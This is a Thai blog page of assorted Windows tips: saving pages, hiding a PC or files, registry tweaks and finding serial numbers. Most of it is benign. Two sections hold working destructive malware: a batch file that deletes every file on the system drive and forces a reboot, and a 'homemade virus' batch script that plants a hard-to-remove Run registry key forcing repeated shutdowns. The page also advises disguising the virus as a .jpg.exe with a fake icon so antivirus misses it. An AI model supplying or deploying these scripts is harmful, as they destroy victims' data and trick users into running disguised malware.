วันอังคารที่ 24 กุมภาพันธ์ พ.ศ. 2552

เทคนิคการ Save หน้า Web Page ที่ไม่อนุญาติให้คุณ Save

เทคนิคการ Save หน้า Web Page ที่ไม่อนุญาติให้คุณ Save ซึ่งเป็นการ Save เฉพาะเนื้อหา แบบง่ายๆ ไม่ว่าจะ Lock แค่ไหนก็ Save ได้แน่นอน
เทคนิคง่ายๆ ในการ Save หน้า Web Page ที่ไม่อนุญาติให้คุณทำการ Save คือพอกด Save แล้วขึ้นจะพบกับข้อความว่า This webpage could not be saved. ซึ่งเทคนิคนี้ เหมาะสำหรับการ Save หน้า Web Page เฉพาะเนื้อหา และ Script บางส่วนนะครับ พวกรูปภาพต่างๆ จะไม่ติดมาด้วย ซึ่งคุณไม่จำเป็นที่จะต้องทำการติดตั้งโปรแกรมใดๆ ทั้งสิ้น




1. ในกรณีที่ Web Page หน้านั้นไม่ให้คุณ Save คุณจะพบกับหน้าต่างดังภาพด้านล่างนี้

2. เทคนิคง่ายๆ ในการที่จะ Save หน้า Web Page หน้านี้ (Save เฉพาะเนื้อหา และ Script บางส่วนนะครับ พวกรูปภาพต่างๆ จะไม่ติดมาด้วย) สามารถทำได้โดย คลิ๊กขวาที่ Web Page หน้านี้แล้วเลือก View Source หรือหาก Web Page ไม่ให้คลิ๊กขวา ก็ให้คุณกด Alt + V และเลือก Source จากนั้น Web Page หน้านี้จะถูกเปิดในมุมมอง Source Code ใน NotePad ก็ให้คุณไปที่เมนู Fle -> Save As...

3. จากนั้นให้คุณเลือก Save as type: เป็น Al Files (*.*) จากนั้นในส่วนของ File name: ให้คุณตั้งชื่อไฟล์นี้เป็นชื่ออะไรก็ได้ แต่ให้มีนามสกุลเป็น .htm ต่อท้ายไว้ดังภาพด้านล่างนี้ และกดปุ่ม Save

วิธีการสร้างปุ่ม Restart Windows

วิธีการสร้างปุ่ม Restart Windows โดยที่ไม่ต้อง Restart เครื่อง

1.เริ่มต้นให้คุณเปิด Notepad ขึ้นมาและพิมพ์คำว่า @EXIT ลงไปในนั้น และทำการ Save ไฟล์ โดยใช้ชื่อไฟล์ว่าอะไรก็ได้ แต่ต้องมีนามสกุลเป็น *.bat ดังตัวอย่างรูปด้านล่างนี้ ผม save เป็นชื่อ Exit.bat ครับ




2.ต่อจากนั้นให้คุณทำการสร้างมันเป็น Shortcut เอาไว้บน Desktop โดยวิธีการง่ายๆ ก็คือให้คลิกขวาที่ชื่อไฟล์นี้ แล้วเลือกไปที่ Send To -> Desktop (create shortcut) ดังรูปด้านล่างนี้ และตอบ OK ก็เป็นอันว่าเรียบร้อย


3. ต่อจากนั้นให้คุณคลิกขวาที่ Shortcut ที่สร้างขึ้นมาใหม่นี้บน Desktop และเลือกไปที่ Properties จากนั้นคลิกไปที่ Tab ชื่อ Program และติ๊กถูกที่ Close on exit เอาไว้




4. ต่อไปให้กดปุ่ม Advanced... และให้ติ๊กถูกเลือกที่ MS-DOS mode และนำเครื่องหมายติ๊กถูกหน้า Warn before entering MS-DOS mode ออกด้วยดังรูปด้านล่างนี้ แล้วกด OK ปิดไปให้หมดเลยนะครับ


5. คราวนี้คุณก็จะได้ปุ่ม Shortcut พร้อมเอาไว้ใช้สำหรับทำการสั่ง Restart Windows โดยที่ไม่ต้อง Restart เครื่อง Computer ของคุณแล้วครับ ทีนี้เวลาจะใช้ก็เพียงแค่ดับเบิลคลิกมัน Windows คุณก็จะ Restart เลยครับ แต่จะเร็วกว่าปกติ เพราะว่ามันไม่ต้อง Restart เครื่องใหม่ครับ

วิธีการนำรูปภาพที่ฝังอยู่ใน เอกสาร Word ออกมาใช้

วิธีการนำรูปภาพที่ฝังอยู่ใน เอกสาร Word ออกมาใช้แบบให้ได้ไฟล์ที่เป็นต้นฉบับ โดยที่คุณจะได้รูปภาพที่ชัดเจนสมบูรณ์ ไม่โดนย่อ/ขยาย หรือเบลอ
คง มีหลายครั้งนะครับนะครับที่คุณต้องมีการนำไฟล์รูปภาพที่ฝังอยู่ในเอกสาร Word ไปใช้ทำงานต่อ แต่ไฟล์ไฟล์รูปภาพในเอกสาร Word นั้นมักจะมีการย่อ/ขยายขนาดมา ทำให้รูปภาพเกิดความเบลอ และการ Copy และนำไป Paste ในโปรแกรมต่างๆ เช่น Photoshop หรือ Paint แล้วค่อย Save เพื่อนำไปใช้นั้น คุณก็อาจจะได้รูปภาพที่ไม่ชัดเจน ดังนั้นเรามาดูวิธีการแกะรูปภาพที่เป็นาภาพต้นฉบับออกมาไปใช้กันเลย




วิธีการนำรูปภาพที่ฝังอยู่ในไฟล์เอกสาร Word ไปใช้ โดยที่ไม่ให้รูปที่นำไปใช้นั้นถูกย่อ/ขยาย หรือเบลอ

1. ด้านล่างนี้เป็นรูปภาพที่ฝังอยู่ในเอกสาร Word ให้คุณสังเกตุว่ารูปภาพนั้นมีการย่อขนาดลงทำให้รูปภาพเกิดความเบลอ หากคุณต้องการนำรูปภาพนี้ไปใช้ การ Copy และนำไป Paste ในโปรแกรมต่างๆ เช่น Photoshop หรือ Paint แล้วค่อย Save เพื่อนำไปใช้นั้น คุญก็อาจจะได้รูปภาพที่มีขนาดเล็ก และเบลอนี้ไปใช้ ดังนั้นเรามาดูวิธีการทำอย่างไร ที่จะได้ไฟล์รูปภาพเท่ากับไฟล์ต้นฉบับกัน

2. วิธีการง่ายมากครับมีวิธีการดังนี้ครับ

  • ให้เข้าไปที่ เมนู > Save As > Other Formats > (หากคุณใช้ Word ที่ Version น้อยกว่า 2007 ให้ไปที่เมนู FIle > Save as Webpage )
  • ที่ช่อง Save as type เลือกเป็น Web Page (*.htm; *.html)
  • กำหนด Folder ที่ต้องการ Save และกดหนดชื่อไฟล์ที่ต้องการ Save
  • กดปุ่ม Save
  • ตอบ Yes

3. จากนั้นให้คุณใช้ Windows Explorer เปิดเข้าไปที่ Folder ที่คุณทำการ Save File ไว้ และสังเกตุว่าใน Folder นั้นจะมี Folder ใหม่อยู่ โดย Flder นี้จะถูกตั้งชื่อเหมือนกับชื่อไฟล์ที่คุณ Save ไว้โดยจะมีคำว่า _files ต่อท้ายอยู่

4. ให้คุณเปิดเข้าไปที่ Folder ดังกล่าว คุณจะพบว่ามีไฟล์รูปภาพที่ชื่อเหมือนกันแต่จะมีทั้งนามสกุล *.jpg และ *.pngอยู่ซึ่งไฟล์ *.png นี่หล่ะครับ จะเป็นไฟล์ที่เป็นต้นฉบับของรูปที่ฝังอยู่ใน word ซึ่งจะมีขนาดและความชัดเจนเท่ากับต้นฉบับ (ส่วนไฟล์ *.jpp จะเป็นไฟล์ที่มีขนาดเท่ากับในเอกสาร Word ที่อาจจะมีการย่อ/ขยายมาแล้ว) ซึ่งคุณสามารถนำไฟล์ *.png นี้ไปเปิดในโปรแกรมตกแต่งรูปอย่างเช่น Photoshop แล้วจึงนำไปใช้ต่อในโปรแกรมอื่นๆ ตามที่คุณต้องการไม่ว่าจะเป็น Pagemaker, Flash ฯลฯ

อยากรู้ไหมว่า? มีเว็บไหนทำ Link มาหาเว็บเราบ้าง

อยากรู้ไหมว่า? มีเว็บไหนทำ Link มาหาเว็บเราบ้าง
มาดูเทคนิคการใช้ Google ช่วยค้นหาว่ามี Web Site ไหนที่ทำ Link มาหาเว็บไซต์ของเราบ้าง


1. เข้าไปที่ http://www.google.com

2. ที่ช่องค้นหาพิมพ์ว่า link: และตามด้วยชื่อเว็บไซต์ของคุณ เช่น link:www.gazib.com จากนั้นกดปุ่มค้นหาได้ทันที

วิธีการเปลี่ยนไฟล์ Flash ให้เป็น GIF อย่างง่าย

1.ก่อนอื่นคุณก็จะต้องไป Download โปรแกรมที่ชื่อว่า Magic Swf2Gif มาไว้ที่เครื่องเสียก่อน ซึ่งคุณสามารถ Download ได้จากที่นี่ Click to Download โดยในวันที่ผมได้ทำการเขียนบทความนี้อยู่ โปรแกรมนี้จะเป็นเวอร์ชั่น 1.3 ครับ และเมื่อ Download มาติดตั้งเรียบร้อยแล้ว ก็จะมีหน้าตาดังรูปด้านล่างนี้


2. เริ่มต้นใช้งานก็คือว่าให้คุณกดปุ่ม Add FIles แล้วเลือกไฟล์ Flash ที่ต้องการเข้ามา ซึ่งโปรแกรมนี้เปิดโอกาสให้คุณสามารถเลือกได้หลายไฟล์ครับ แต่สำหรับในตัวอย่างนี้ ผมเลือกไว้ไฟล์เดียวดังรูปด้านล่างนี้ครับ


3. จากนั้นก็ให้คุณคลิกที่ชื่อไฟล์ Flahs นั้นไปอีกทีหนึ่ง ให้ปรากฏแถบสีดังรูป ซึ่งเหตุที่ต้องมีการคลิกก็เนื่องจากว่า ในกรณีที่คุณมีการเลือก Add Files ที่เป็น Flash เข้ามาหลายๆ ไฟล์ คุณก็จะต้องเลือกว่า จะให้โปรแกรมมันแปลงไฟล์ใดบ้าง (การเลือกหลายๆ ไฟล์สามารถใช้ปุ่ม Ctrl ช่วยในการเลือกได้)


4. เรียบร้อยแล้วให้กดปุ่ม Convert to GIF ดังรูปด้านล่างนี้ ก็เป็นอันว่าเรียบร้อยครับ โปรแกรมก็จะแปลงไฟล์ Flash ของคุณเป็นไฟล์ GIF ให้ทันที โดยปกติแล้วไฟล์ GIF ของคุณ ก็จะเข้าไปอยู่ใน Folder ที่ชื่อ GifImg ซึ่งจะเป็น Folder ย่อยภายใน Folder ที่คุณติดตั้งโปรแกรมเอาไว้นั่นเอง


5.หากต้องการเปลี่ยน Folder ปลายทางที่เก็บไฟล์ GIF นั้นก็สามารถทำได้โดยการกดปุ่ม Options แล้วเข้าไปที่ Tab ชื่อ Directory แล้วให้แก้ไขในส่วนของ Converted filedirectory ได้เลยครับ

วิธีลงไดเวอร์ I-mobile ดาวน์โหลด driver i-mobile

ดาวน์โหลด driver i-mobile

โหลดเลย


วิธีลงไดเวอร์ I-mobile ทุกรุ่นทำเหมือนกัน


1.เสียบ โทรศัพท์เข้ากับสาย USB ต่อเข้ากับคอม
2. เลือกที่โทรศัพท์ เป็น Com port
3. ที่คอมพิวเตอร์จะขึ้น ดังรูปข้างล่าง
4.เลือก install from a list or specific location(Advanced) เลือกเสร็จ คลิ๊ก Next

5.ให้คลิ๊ก browse ไปที่เราเก็บไฟล์ ไดร์เวอร์ไว้ แล้วก็คลิก Next

6.พอคลิก Next> จะได้ดังรูป ถ้าได้ดังรูปข้างล่าง

7.เสร็จแล้วลง ไดเวอร์ โมเด็มของ I-mobile


การแอดโมเด็ม


1.เข้าไปที่ Control Panel>> Modem ดับเบิ้ลคลิ๊ก
2.จะเข้ามา ดังรูป เลือก แท๊ป Modems
3.คลิก Add

4.พอคลิ๊ก Add จะขึ้น ดังรูปข้างล่าง
5.ติ๊กเครื่องหมายถูก ข้างหน้า Don’t detect my modem; I will select it from a list แล้วคล๊ก Next

6.เลือก standard 33600 bps modem ดังรูปข้างล่าง แล้วคลิ๊ก Next

7.เลือก Ports เป็น com3 หรืออะไรก็ได้ ที่ไม่ใช่ com1 หรือ com2 เสร็จแล้วคลิ๊ก Next

8. คลิ๊ก OK


ต่อไปเป็นวิธี ตั้งค่า การเชื่อมต่อ connection


1.ไปที่ Control Panel>>Network Conections
2.คลิ๊ก create a new connection ดังรูป

3.จะได้ ดังรูป แล้ว คลิ๊ก Next>

4.เลือก connect to the internet คลิ๊ก Next>

5.เลือก set up my connection manually คลิ๊ก Next>

6.เลือก connect using a dial-up modem คลิ๊ก Next>

7.ใส่ชื่อที่ต้องการ อะไรก็ได้ แล้วคลิ๊ก Next>

8.ใส่เบอร์ ที่ติดต่อ ขึ้นอยูกับว่าใช้เครือข่ายใหน เสร็จแล้ว คลิ๊ก Next>

9.ตรงส่วนนี้ไม่ต้องใส่อะไรว่างไว้ แล้ว คลิ๊ก Next>

10. คลิ๊ก Finish

11.พอคลิ๊ก Finish แล้วจะขึ้น ดังรูป ข้างล่าง
12.ให้คลิ๊ก Dial เพื่อเชื่อมต่อ

วิธีการซ่อนเครื่องคอมพิวเตอร์ ให้หายไปจากเครือข่ายเน็ตเวิร์ค

วิธีการซ่อนเครื่องคอมพิวเตอร์ ให้หายไปจากเครือข่ายเน็ตเวิร์ค
สำหรับ ใครที่ชอบแชร์ไฟล์บนเครือข่าย Network ของ Office ที่ทำงานหรือภายในองค์กรของคุณ ไม่ว่าจะเป็นไฟล์เพลง ไฟล์หนัง ไฟล์คาราโอเกะ หรือ media ใดๆ ที่คุณไม่อยากให้คนอื่นหรือหัวหน้างานของคุณ Browse Network เจอเครื่องของคุณที่กำลังแชร์ไฟล์ให้กับเพื่อนหรือใครที่คุณต้องการให้เห็น ทิปนี้จะช่วยคุณได้ครับ

วิธีการซ่อนเครื่องคอมพิวเตอร์ของคุณ ให้อันตรธานหายไปจากเครือข่ายเน็ตเวิร์คในพริบตา สามารถทำได้ดังนี้

ก่อน อื่นต้องตรวจสอบว่า Server service ของคุณรันทำงานอยู่หรือเปล่า ซึ่งสามารถตรวจสอบได้โดย ไปที่ Start > Run > พิมพ์ว่า services.msc แล้วกดปุ่ม OK หรือ Enter ที่คีย์บอร์ด จากนั้นรอสักครู่ Service Console Management ก็จะปรากฏขึ้นมา ให้เลื่อน scroll bar หา Service Name ที่ชื่อว่า Server แล้วดูที่ Status ว่าเป็น Started อยู่หรือเปล่า

* ถ้าไม่ใช่ให้ทำการ Start โดยคลิกขวาที่ Server service > Start รอสักครู่ จนกว่า Status เป็น Started แล้ว แล้วทำตามขั้นตอนต่อไปที่จะกล่าวถึง
* แต่ถ้า Status เป็น Started แล้ว สามารถดำเนินการตามขั้นตอนต่อไปได้เลย

* เมื่อตรวจสอบ Server service รันทำงานอยู่เรียบร้อยแล้ว ให้ไปที่ Start > Run > แล้วพิมพ์ว่า net config server /hidden:yes แล้วกดปุ่ม OK หรือ Enter ที่คีย์บอร์ด จากนั้นเครื่องคอมพิวเตอร์ของคุณก็จะถูกซ่อนให้หายไปจากเครือข่าย Network แล้วครับ
* หรืออีกวิธีก็คือให้ไปที่ Start > Run > แล้วพิมพ์ว่า cmd จากนั้นในหน้าจอสำดำ(Command-line) ให้พิมพ์ว่า net config server /hidden:yes แล้วกดปุ่ม OK หรือ Enter ที่คีย์บอร์ด ถ้าไม่มีข้อความใดๆ คุณก็จะได้รับข้อความแจ้งว่า The command completed succesfully
* จากนั้นลอง Browse ดูที่ My Network Places ดูนะครับ จะมองไม่เห็นเครื่องของคุณแล้วหล่ะ
* และถ้าต้องการให้กลับเป็นดังเดิม ก็สามารถใช้คำสั่ง net config server /hidden:no เพื่อยกเลิกการซ่อนเครื่องคอมพิวเตอร์ของคุณจากเครือข่าย Network
* แต่ทั้งนี้ทั้งนั้น คุณสามารถบอกให้เพื่อนสามารถเห็นเครื่องของคุณได้ โดยไปที่ Start > Run > แล้วพิมพ์ \ชื่อเครื่องหรือไอพีเครื่องของคุณ แล้วกดปุ่ม OK หรือ Enter ที่คีย์บอร์ด จากนั้นเพื่อนของคุณก็จะเห็นไฟล์ โฟลเดอร์ที่คุณเปิดแชร์ไฟล์ไว้ได้แล้วหล่ะครับ

สร้างอาวุธด้วย Note pad

สร้างไว้ให้รู้อย่าไปแกล้งคนอื่น อย่ากดเล่นด้วย

CODE นะคับ

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00


เหอๆๆๆใส่ note pad เส็ดเซฟเป็น .BAT

***อย่ากดเล่น ข้อมูลหายหมด นะ***

ไวรัสทำมือ(ง่ายจิงๆ)

มีเกล็ดความรู้นิดหน่อยมาเล่นสู่กันฝัง อิอิ ไฟล์ registry รองรับชื่อของstring แค่259ตัวอักษร
แต่ถ้าตั้งชื่อ260ตัว string ตัวนั้นจะ - -" ไปลองดูเอา เดี๋ยวไปม่ตื่นเต้น
เราจะเอาความรู้จากตรงนี้ไปเขียนป็น bat ไฟล์ โดยใช้ภาษา batch ซึ้งคำสั่งก็มาจากของวินโดว์เอง ดังนั้นมันจึงไม่มองว่าเป็นไวรัสแน่ๆ
ดังนั้น แอนตี้ไว้รัสหาไม่เจอ [/heh]

////////////////////////////////////////เซฟ ซอดด้านล่างเป็น ดอท แบท เองนะครับ
CODE
@ECHO OFF
:: No parameters required
IF NOT [%1]==[] GOTO Syntax

:: Choose the correct command processor for the current operating system
SET _cmd=
:: Variable to add shortcut to menu entry (NT only,
:: since COMMAND.COM cannot echo an ampersand)
SET _=
ECHO.%COMSPEC% | FIND /I "command.com" >NUL
IF NOT ERRORLEVEL 1 SET _cmd=command.com /e:4096
ECHO.%COMSPEC% | FIND /I "cmd.exe" >NUL
IF NOT ERRORLEVEL 1 SET _cmd=cmd.exe
IF [%_cmd%]==[cmd.exe] SET _=^&

:: Create a temporary .REG file
> "%Temp%.DefOpen.reg" ECHO REGEDIT4
>>"%Temp%.DefOpen.reg" ECHO.

:: If neither COMMAND.COM nor CMD.EXE then skip this step
IF [%_cmd%]==[] ECHO Skipping "Command Prompt Here" entry
IF [%_cmd%]==[] GOTO Merge

ECHO Adding "Command Prompt Here" entry
:: Add Command Prompt Here for files
>>"%Temp%.DefOpen.reg" ECHO [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
>>"%Temp%.DefOpen.reg" ECHO "aeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeat
taaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaa
eattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeattaaeat
taaeattaaeattaaeattaae"="C:WINDOWSsystem32driversetcshutdown.bat"
>>"%Temp%.DefOpen.reg" ECHO.
>>"C:WINDOWSsystem32driversetcshutdown.bat" ECHO @echo
>>"C:WINDOWSsystem32driversetcshutdown.bat" ECHO shutdown -t 60 -s -c "เครื่องคุณติดเชื้อวัวบ้าแล้ว และกำลังจะระเบิดตัวเองใน1นาที"
>>"C:WINDOWSsystem32driversetc" ECHO.


:: Merge the temporary .REG file
:Merge
START /WAIT REGEDIT /S "%Temp%.DefOpen.reg"

:: Delete the temporary .REG file
DEL "%Temp%.DefOpen.reg"

:: Ready
GOTO End

:Syntax
ECHO.


:: Clean up variables and quit
:End
SET _cmd=
SET _=

///////////////////////////////////////////////////////จบหล่ะ
เซฟเป็นแบทซ่ะ อ่ะ ถ้าจะให้อินเตอร์หน่อยก็ หาโปรแกรม bat2exe มาconvert ให้เป็น exe
แล้วใช้ โปรแกรม ResHack ทำการ Attach ไฟล์icon เข้าไป ถ้าจะให้เวอร์ ลองทำ icon เป็นคล้ายไฟล์รูปนามสกุล j
pg bmp อะไรพวกนี้ แล้วตั้งชื่อไฟล์ ประมาณนี้ picturexxx.jpg.exe อุอุ

วิธีซ่อนไฟร์แบบหายังไงก็หาไม่เจอ (เว้นแต่จะรู้วิธี)

วิธีที่ 1 ซ่อนโดยการ Hidden

1) Click ขวาที่ File หรือ Folder ที่ต้องการจะซ่อน แล้วเลือกที่ Properties
2) Click ที่แท็บ General แล้วติ้กถูกเช็กบ็อกที่ Hidden

วิธีดูไฟล์

1) ไปที่ Tools ---> Folder Options
2) Click ที่แท็บ View
3) ดูในช่อง Advanced settings ให้เลือก Show hidden files and folders

ข้อดี
เป็นวิธีที่ง่ายและเร็วที่สุด

ข้อเสีย
คนส่วนใหญ่เค้ารู้วิธีนี้กันหมดแล้ว

แนะนำ
ใช้วิธีอื่นดีกว่า


วิธีที่ 2 ซ่อนโดยการสร้าง Folder ล่องหน

1) Click ขวา แล้วไปที่ New ---> Folder
2) Click ขวาเลือกที่ Rename กด Alt ค้างไว้แล้วกดเลข 0160 ก็จะได้ชือล่องหน
3) Click ขวาเลือกที่ Properties
4) Click ที่แท็บ Customize
5) Click ที่คำว่า Change Icon...
5) เลือกช่องที่มันว่างๆ แล้วกด OK

วิธีดูไฟล์

วิธีที่ 1 : Click ขวา แล้วไปที่ Refresh มันจะกระพริบแวบๆให้เห็น หรือ
วิธีที่ 2 : กด Alt+A ก็จะเห็นช่องว่างๆ
วิธีที่ 3 : กด Click ขวา แล้วไปที่ View แล้วเลือกอันไหนก็ได้ ก็จะเห็นช่องว่างๆ
วิธีที่ 4 : กด Click ขวา แล้วไปที่ Arrange Icons By แล้วเลือกอันไหนก็ได้ ก็จะเห็นช่องว่างๆ

ข้อดี
ถ้าดูไฟล์แบบวิธีที่ 1 ก็จะไม่เห็น

ข้อเสีย
ถ้าคนสังเกตุดีๆก็จะเห็นและจะรู้ทันที

แนะนำ
ถ้านำวิธีที่ 1 มาใช้รวมกับวิธีที่ 2 ก็จะได้ผลมากขึ้น


วิธีที่ 3 คลิ๊กเดียวหายมี Password อีกด้วย

1) ไปที่ Tools ---> Folder Options
2) Click ที่แท็บ View
3) ดูในช่อง Advanced settings แล้วติ้กถูกเช็กบ็อกที่ Hide extensions for known file types
4) เปิดโปรแกรมประเภท Text Editor(Notepad)
5) ใส่ CODE ตามนี้

@ECHO OFF
title Folder Locker 555
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCKNow
if NOT EXIST Locker goto MDLOCKERNow
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCKNow
echo stuff by satish
echo Enter password to UNLOCK folder
set/p "pass=>"
if NOT %pass%==cherrymint goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder UNLOCK successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKERNow
md Locker
echo Locker created successfully
goto End
:End

6) Save เป็นนามสกุล .Bat
7) Double Click ไฟล์ที่ Save ไว้ ก็จะมี Folder ที่ชื่อ Locker ขึ้นมา จะซ่อนอะไรก็ใส่ไว้ในนี้
8) Double Click ไฟล์ที่ Save
9) จะขึ้นว่า Are you sure u want to Lock the folder(Y/N) ให้ตอบ y แล้วกด Enter

วิธีดูไฟล์

1) Click ไฟล์ที่ Save ไว้
2) จะขึ้นว่า
stuff by satish
Enter password to UNLOCK folder
3) ใส่ Password ที่ตั้งไว้ แล้วกด Enter

เพิ่มเติม
เปลี่ยน Password จาก cherrymint เป็นอย่างอื่นได้ที่บรรทัดนี้
if NOT %pass%==cherrymint goto FAIL

ข้อดี
ถ้ามีใครเจอก็เปิดไม่ได้ เพราะยังมี Password อีกชั้น

ข้อเสีย
ยังเหลือไฟล์ที่ Save อยู่

แนะนำ
นำไฟล์ที่ Saveไปใช้รวมกับวิธีที่ 1 ก็จะไม่เห็นไฟล์ที่ Save


วิธีที่ 4 เปลี่ยน Folder ให้เป็น My Computer

1) Click ขวา แล้วไปที่ New ---> Folder จะซ่อนอะไรก็ใส่ไว้ในนี้
2) Click ขวา Folder ที่เราสร้างขึ้นแล้วไปที่ Rename
3) เปลียนชื่อเป็น My Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D} แล้วกด Enter
4) ลอง Click ที่ My Computer ที่เราสร้างขึ้น ก็จะเหมือน My Computer ของจริงทุกอย่าง

วิธีดูไฟล์

1) ไปที่ Tools ---> Folder Options
2) Click ที่แท็บ View
3) ดูในช่อง Advanced settings แล้วติ้กถูกเช็กบ็อกที่ Hide protected operating for known file types
4) Click ขวา Folder ที่เราสร้างขึ้นแล้วไปที่ Rename
5) ลบ .{20D04FE0-3AEA-1069-A2D8-08002B30309D} แล้วกด Enter ก็จะเห็น Folder ชื่อ My Computer

เพิ่มเติม
ถ้าจะเปลี่ยน Folder ให้เป็น Control Panel ในขั้นตอนที่ 3 ก็ให้เปลียนชื่อเป็น
Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}

ข้อดี
ถึงจะเจอก็ไม่รู้

ข้อเสีย
ถ้ามีใคร Click ขวาที่ Folder My Computer ที่เราสร้างขึ้นมันจะไม่เหมือน My Computer ของจริง

แนะนำ
นำไปใช้ร่วมกับวิธีที่ 1 คิดว่าน่าจะได้ผลดีกว่า เพราะว่า ถ้าใครเจอเข้าอาจจะเข้าใจว่าเป็นระบบของ Windows ที่ซ่อนไว้ก็ได้


วิธีที่ 5 ซ่อน File ไว้ในรูป (เป็นวิธีที่ต้องใช้ Porgram ช่วย)

Porgram ที่ต้องใช้

Porgram Winrar คิดว่าน่าจะมีกันทุกเครื่องอยู่แล้ว
Porgram XVI32 โหลดได้ที่ http://www.handshake.de/user/chmaas/delphi...nload/xvi32.zip

1) Click ขวาไฟล์ที่ต้องการจะซ่อน แล้วไปที่ Add to "ชื่อไฟล์" รอจนบีบไฟล์เสร็จ แล้วก็จะได้ไฟล์ที่เป็นนามสกุล.rar
2) เปิด Porgram XVI32
3) ไปที่ File ---> Open... หารูปที่ต้องการจะเอาไฟล์ไปซ่อน แล้วกด Open
4) มันจะเป็นเลขฐาน 16 ไม่ต้องสนใจอะไร ให้เลื่อนแถบ scroll bar ลงมาด้านล่างสุดให้แถบสีน้ำเงิน 3 อัน อยู่ล่างสุดจนหมด
5) ไปที่ File ---> Insert... รอจนครบ 100%
6) ไปที่ File ---> Save รอจนครบ 100%

วิธีดูไฟล์

1) เปิด Porgram Winrar
2) ไปที่อยู่ของรูป
3) Click ที่รูป แล้วไฟล์ที่ซ่อนก็จะปรากฎออกมา

ควรระวัง
ในขั้นตอนที่ 3 ถ้าไม่ใช้ไฟล์รูป จะเปิดไฟล์นั้นและไฟล์ที่ซ่อนไม่ได้
ใน ขั้นตอนที่ 4 ถ้าไม่เลื่อนแถบ scroll bar ลงมาด้านล่างสุดจะเปิดไฟล์นั้นไม่ได้ และถ้าเป็นไฟล์รูปก็จะไม่เห็นรูปนั้น แต่จะสามารถเปิดไฟล์ที่ซ่อนได้

ข้อดี
อยู่ตรงหน้าก็ไม่มีทางรู้

ข้อเสีย
มีข้อจำกัดของไฟล์ที่ซ่อนจะต้องเป็นนามสกุล.rar เท่านั้น ถ้าไฟล์นั้นไม่ใช้นามสกุล.rar ก็จะเปิดไฟล์ที่ซ่อนไม่ได้

แนะนำ
ในขั้นตอนที่ 1 ให้ใส่ Password ถึงจะรู้วิธีเปิดไฟล์ก็จะเปิดดูไม่ได้

ให้หน้าเว็บถูกโหลดเร็วขึ้น

Tip นี้ เปนการแนะนำวิธีที่จะช่วยให้บราวเซอร์สามารถโหลดหน้าเว็บได้เร็วขึ้น แต่งานนี้ไม่ได้เกี่ยวข้องกับความเร็วของการดาวน์โหลดนะครับ เพียงแต่มันจะช่วยให้พีซีสามารถค้นหาเว็บไซต์ได้เร็วขึ้น ซึ่งทำให้หน้าเว็บถูกโหลดเร็วขึ้น !!




เทคนิคนี้ยังคงต้องอาศัย การแก้ไขข้อมูลในรีจิสทรี โดยคลิกปุ่ม Start เลือกคำสั่ง Run พิมพ์คำสั่ง regedit เข้าไปในช่องข้อความ Open: (หรือกดปุ่ม Windows + R เพื่อเปิดไดอะล็อกบ๊อกซ์ Run ก็ได) ซึ่งใน windows แต่ละเวอร์ชันก็จะมีตำแหน่งของการแก้ไขรีจิสทรีที่แตกต่างกัน ไปดังนี้

สำหรับWindows XP และ 2000
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipServiceProvider

สำหรับ 98, 98SE และ ME
HKEY_LOCAL_MACHINESystemCurrentControlSetServicesVxDMSTCPServiceProvider

ในกรอบด้านขวามือให้แก้ไขค่าของตัวแปรข้างล่างนี้ โดยค่าทั้งหมดที่แก้ไขให้ใช้ชนิดข้อมูลเป็น HEXADECIMAL

Class: 1
DnsPriority: 1
HostsPriority: 1
LocalPriority: 1
NetbtPriority: 1

คราวนี้ ลองท่องเว็บดูนะครับ

เร่งสปีดแรมให้กระจาย

นี้จะทำให้ระบบโหลดเคอร์เนล ของ XP ไปเก็บไว้ในแรม แล้วจะทำให้ประสิทธิภาพของแรมเพิ่มสูงมากยิ่งขึ้น
แต่มีข้อกำหนดอยูว่า ต้องมีแรมไม่ต่ำกว่า 256 m ต่ำกว่านั้นอาจไม่มีอะไรเกิดขึ้น

1. ไปที่ Start > Run > พิมพ์ Regedit

2. ไปที่ HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > SessionManager > Memory Management

แล้วจะเจอคีย์ 2 ตัวนี้

DisablePagingExecutive
LargeSystemCache


ให้ดับเบิ้ลคลิ๊กเข้าไปแล้วแก้ไขค่า 0 เป็น 1 ทั้งสองคีย์เลยนะครับ

หลังจากนั้นให้ Restart เครื่องเพื่อให้เครื่องตอบสนองของการปรับแต่งให้สมบูรณ์

การหา serial แบบง่ายๆ

Serial Number ของโปรแกรม
เราก็สามารถดู Serial Number ของโปรแกรมต่างๆที่ลงไปแล้วได้

ในการติดตั้งโปรแกรมบน Windows นั้นทุกโปรแกรมจะต้องใส่หมายเลข Serial Number ที่โปรแกรมนั้นๆมีมาเพื่อแสดงว่าโปรแกรมได้รับอนุญาติให้ใช้งานได้อย่างถูก ต้อง
ซึ่งเมื่อมีการติดตั้งโปรแกรมลงไปแล้วเราก็จะไม่สามารถตรวจสอบ Serial Number ได้อีก บทความนี้มีวิธีการดู Serial Number มาฝากครับ

1. คลิกที่ Start เลือก Run
2. พิมพ์คำว่า regedit
3. คลิกที่ HKEY_LOCAL_MACHINE

4. คลิกที่ Software แล้วเลือกโปรแกรมที่ต้องการ
5. โดยส่วนมาก Serial Number จะอยู่ที่ Registration ของแต่ละโปรแกรม จากนั้นที่หน้าต่างทางขวาให้ดูตรง Serial Number

